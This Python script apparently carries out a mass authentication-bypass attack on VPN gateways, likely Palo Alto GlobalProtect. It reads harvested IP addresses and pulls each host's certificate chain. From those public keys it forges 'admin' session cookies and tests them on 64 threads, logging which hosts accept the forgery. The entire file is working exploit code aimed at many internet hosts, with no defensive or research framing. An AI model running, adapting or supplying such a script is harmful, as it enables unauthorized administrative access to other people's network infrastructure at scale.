import sys, os, ssl, socket, re
from concurrent.futures import ThreadPoolExecutor
sys.path.insert(0, '/root/recon')
import forge_cookie as fc
import cryptography.x509 as x509

socket.setdefaulttimeout(8)

SRC = '/root/recon/gp_hits.tsv'
OUT = '/root/recon/gp_cve0257c.tsv'
done = set()
if os.path.exists(OUT):
    for l in open(OUT):
        done.add(l.split('\t')[0])

ips = []
seen = set()
for line in open(SRC):
    ip = line.split('\t')[0].strip()
    if ip and ip not in seen:
        seen.add(ip)
        if ip not in done:
            ips.append(ip)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE


def chain(ip):
    return fc.get_all_public_keys(ip, 443)


def cn(c):
    for a in c.subject:
        if a.oid.dotted_string == '2.5.4.3':
            return a.value
    return ''


def probe(ip):
    try:
        certs = chain(ip)
    except Exception as e:
        return '%s\t\tERRTLS\t%s' % (ip, type(e).__name__)
    name = cn(certs[0]) if certs else ''
    first = ''
    for i, c in enumerate(certs[:3]):
        ctxn = 'gateway' if i == 0 else 'gateway'
        try:
            ck = fc.forge_cookie(c.public_key(), 'admin')
            resp = fc.test_cookie(ip, 443, ck, 'admin', context=ctxn) or ''
        except Exception as e:
            resp = 'EXC ' + type(e).__name__
        if not first:
            first = resp[:120].replace('\t', ' ').replace('\n', ' ')
        if '<status>Success</status>' in resp:
            return '%s\t%s\tSUCCESS-gw-%d\t%s' % (ip, name, i, resp[:400].replace('\t', ' ').replace('\n', ' '))
        if '<argument>' in resp and 'admin' in resp:
            return '%s\t%s\tSUCCESS-portal-%d\t%s' % (ip, name, i, resp[:400].replace('\t', ' ').replace('\n', ' '))
    # try portal context with leaf once
    if certs:
        try:
            ck = fc.forge_cookie(certs[0].public_key(), 'admin')
            resp = fc.test_cookie(ip, 443, ck, 'admin', context='portal') or ''
            if '<argument>' in resp and 'admin' in resp:
                return '%s\t%s\tSUCCESS-portal\t%s' % (ip, name, resp[:400].replace('\t', ' ').replace('\n', ' '))
        except Exception:
            pass
    return '%s\t%s\tFAIL\t%s' % (ip, name, first)


f = open(OUT, 'a', buffering=1)
n = 0
with ThreadPoolExecutor(max_workers=64) as ex:
    for r in ex.map(probe, ips):
        f.write(r + '\n')
        n += 1
        if n % 200 == 0:
            print('done', n, 'of', len(ips), flush=True)
print('finished', n, flush=True)
